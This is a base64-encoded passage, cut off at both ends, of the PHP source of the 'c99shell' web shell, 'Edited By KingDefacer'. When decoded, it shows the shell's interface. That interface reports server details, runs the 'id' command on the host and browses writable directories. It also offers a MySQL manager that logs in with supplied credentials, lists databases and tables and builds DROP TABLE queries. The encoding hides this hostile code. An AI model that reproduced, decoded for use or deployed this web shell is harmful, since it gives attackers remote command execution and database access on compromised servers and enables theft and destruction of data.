wdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGNlbnRlcj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0aCB3aWR0aD0iMTAxJSIgaGVpZ2h0PSIxNSIgbm93cmFwIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHA+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjUiPjxiPmM5OXNoZWxsIEVkaXRlZCBCeSBLaW5nRGVmYWNlcjwvYj48L2ZvbnQ+PC9hPjxmb250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjwvcD48L2NlbnRlcj48L3RoPjwvdHI+PHRyPjx0ZD48cCBhbGlnbj0ibGVmdCI+PGI+U2VydmVyIFlhemlsaW06Jm5ic3A7PD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+VW5hbWUgLWE6Jm5ic3A7PD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2luKSB7ZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7fSBlbHNlIHtlY2hvIGdldF9jdXJyZW50X3VzZXIoKTt9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+R3V2ZW5saWsgTW9kdTombmJzcDs8P3BocCBlY2hvICRoc2FmZW1vZGU7ID8+PC9iPjwvcD48cCBhbGlnbj0ibGVmdCI+DQo8P3BocA0KJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsNCiRkaXNwZCA9IGh0bWxzcGVjaWFsY2hhcnMoJGQpOw0KJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1Isc3Vic3RyKCRkLDAsLTEpKTsNCiRpID0gMDsNCmZvcmVhY2goJHBkIGFzICRiKQ0Kew0KICR0ID0gIiI7DQogJGogPSAwOw0KIGZvcmVhY2ggKCRlIGFzICRyKQ0KIHsNCiAgJHQuPSAkci5ESVJFQ1RPUllfU0VQQVJBVE9SOw0KICBpZiAoJGogPT0gJGkpIHticmVhazt9DQogICRqKys7DQogfQ0KIGVjaG8gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9iPjwvYT4iOw0KICRpKys7DQp9DQplY2hvICImbmJzcDsmbmJzcDsmbmJzcDsiOw0KaWYgKGlzX3dyaXRhYmxlKCRkKSkNCnsNCiAkd2QgPSB0cnVlOw0KICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+IFsgb2sgXSA8L2ZvbnQ+IjsNCiBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsNCn0NCmVsc2UNCnsNCiAkd2QgPSBmYWxzZTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPXJlZD4gWyBTYWRlY2UgUmVhZCBdIDwvZm9udD4iOw0KIGVjaG8gIjxiPiIudmlld19wZXJtc19jb2xvcigkZCkuIjwvYj4iOw0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkNCnsNCiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7DQogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7DQogaWYgKCRmcmVlID09PSBmYWxzZSkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA9PT0gZmFsc2UpIHskdG90YWwgPSAwO30NCiBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30NCiBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQ0KICR1c2VkID0gJHRvdGFsLSRmcmVlOw0KICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7DQogZWNobyAiPGJyPjxiPlRvcGxhbSAiLnZpZXdfc2l6ZSgkdG90YWwpLiIga2FwYXNpdGUsIHZlICIudmlld19zaXplKCRmcmVlKS4iIEJvJC4gT3J0YWxhbWEoIi4kZnJlZV9wZXJjZW50LiIlKSA8L2I+IjsNCn0NCmVjaG8gIjxicj4iOw0KJGxldHRlcnMgPSAiIjsNCmlmICgkd2luKQ0Kew0KICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsNCiAkdiA9ICR2WzBdOw0KIGZvcmVhY2ggKHJhbmdlKCJhIiwieiIpIGFzICRsZXR0ZXIpDQogew0KICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwkc2FmZW1vZGVfZGlza2V0dGVzKTsNCiAgaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30NCiAgaWYgKCRib29sKQ0KICB7DQogICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEaXNrZXRpbiBUYWtpbGkgb2xkdWd1bmRhbiBFbWluIG9sIScpXCIiOiIiKS4iPlsgIjsNCiAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxldHRlci4iPC9mb250PiI7fQ0KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOw0KICB9DQogfQ0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+QnVsdW5hbiBTdXJ1Y3VsZXI8L2I+OiAiLiRsZXR0ZXJzLiI8YnI+Ijt9DQp9DQppZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApDQp7DQogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pDQogew0KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlZCIsdXJsZW5jb2RlKCRkKSwkaXRlbVsxXSk7DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7DQogICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7DQogIGlmIChlbXB0eSgkdikpIHskYSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IHVuc2V0KCRhW2NvdW50KCRhKS0yXSk7ICR2ID0gam9pbihESVJFQ1RPUllfU0VQQVJBVE9SLCRhKTt9DQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOw0KICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogfQ0KfQ0KZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KaWYgKCghZW1wdHkoJGRvbmF0ZWRfaHRtbCkpIGFuZCAoaW5fYXJyYXkoJGFjdCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jRkYwMDAwIGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiIuJGRvbmF0ZWRfaHRtbC4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7fQ0KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsNCmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30NCmlmICgkYWN0ID09ICJzcWwiKQ0Kew0KICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsNCiBpZiAoJHNxbF9sb2dpbikgIHskc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pO30NCiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQ0KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9DQogaWYgKCRzcWxfcG9ydCkgICB7JHNxbF9zdXJsIC49ICImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7fQ0KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQ0KICRzcWxfc3VybCAuPSAiJiI7DQogPz48aDM+RGlra2F0ISBTUUwtTWFuYWdlciBpICBIYXppcmRhICA8dT5ERUdpTDwvdT4uIDwvaDM+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9IjEwMCUiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PD9waHANCiBpZiAoJHNxbF9zZXJ2ZXIpDQogew0KICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7DQogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fQ0KIH0NCiBlbHNlIHskc3FsX3NvY2sgPSBmYWxzZTt9DQogZWNobyAiPGI+U1FMIE1hbmFnZXI6PC9iPjxicj4iOw0KIGlmICghJHNxbF9zb2NrKQ0KIHsNCiAgaWYgKCEkc3FsX3NlcnZlcikge2VjaG8gIkJhZ2xhbmlsYW1hZGkiO30NCiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5CYWdsYW5pbGFtYWRpPC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJJbmRleCIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIik7DQogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXIgdmFyaWFibGVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnZhcnMiKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7DQogIGVjaG8gIjxjZW50ZXI+PGI+TXlTUUwgIi5teXNxbF9nZXRfc2VydmVyX2luZm8oKS4iIChwcm90byB2LiIubXlzcWxfZ2V0X3Byb3RvX2luZm8gKCkuIikgcnVubmluZyBpbiAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiI6Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiBhcyAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIkAiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIgKHBhc3N3b3JkIC0gXCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIik8L2I+PGJyPiI7DQogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319DQogIGVjaG8gIjwvY2VudGVyPiI7DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsNCiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gPC9mb250PjwvY2VudGVyPjxsaT5FZ2VyIHNpZnJlIGdlY2Vyc2l6c2UgLGFkbWluIG9sYW4gc2lmcmVkaXIgLjxsaT5FZ2VyIGhvc3QsIGdlY2Vyc2l6c2UsIGhvc3QsIGxvY2FsaG9zdHR1cjwvYj48bGk+RWdlciBwb3J0IGdlY2Vyc2l6c2Ugbm9ybWFsIHBvcnQgIjMzMDYiPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5MdXRmZW4gZm9ybXUgZG9sZHVyOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZShLLkFkaSk8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQoU2lmcmUpPC9iPiZuYnNwOzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjw/cGhwIH0NCiBlbHNlDQogew0KICAvL1N0YXJ0IGxlZnQgcGFuZWwNCiAgaWYgKCFlbXB0eSgkc3FsX2RiKSkNCiAgew0KICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9iPjwvYT4gXS0tLTxicj4iOw0KICAgICRjID0gMDsNCiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiPGI+PyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3VsdCgkY291bnQpOyAkYysrO30NCiAgICBpZiAoISRjKSB7ZWNobyAiRGF0YWJhc2VkZSB0YWJsbyBidWx1bmFtYWRpISI7fQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij48Yj5Ib21lPC9iPjwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocA0KICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29jayk7DQogICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICBlbHNlDQogICB7DQogICAgPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwDQogICAgJGMgPSAwOw0KICAgICRkYnMgPSAiIjsNCiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnMgLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30NCiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPVwiXCI+RGF0YWJhc2VzICgiLiRjLiIpPC9vcHRpb24+IjsNCiAgICBlY2hvICRkYnM7DQogICB9DQogICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBub3NoYWRlPkx1dGZlbiBEYXRhYmFzZSBzZWNpbjxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwDQogIH0NCiAgLy9FbmQgbGVmdCBwYW5lbA0KICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgLy9TdGFydCBjZW50ZXIgcGFuZWwNCiAgJGRpcGxheSA9IHRydWU7DQogIGlmICgkc3FsX2RiKQ0KICB7DQogICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5CdSBEYXRhYmFzZWRlICIuJGMuIiB0YWJsZShzKSBUYWJsbyB2YXIhICgiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7DQogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQ0KICAgZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7DQogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0x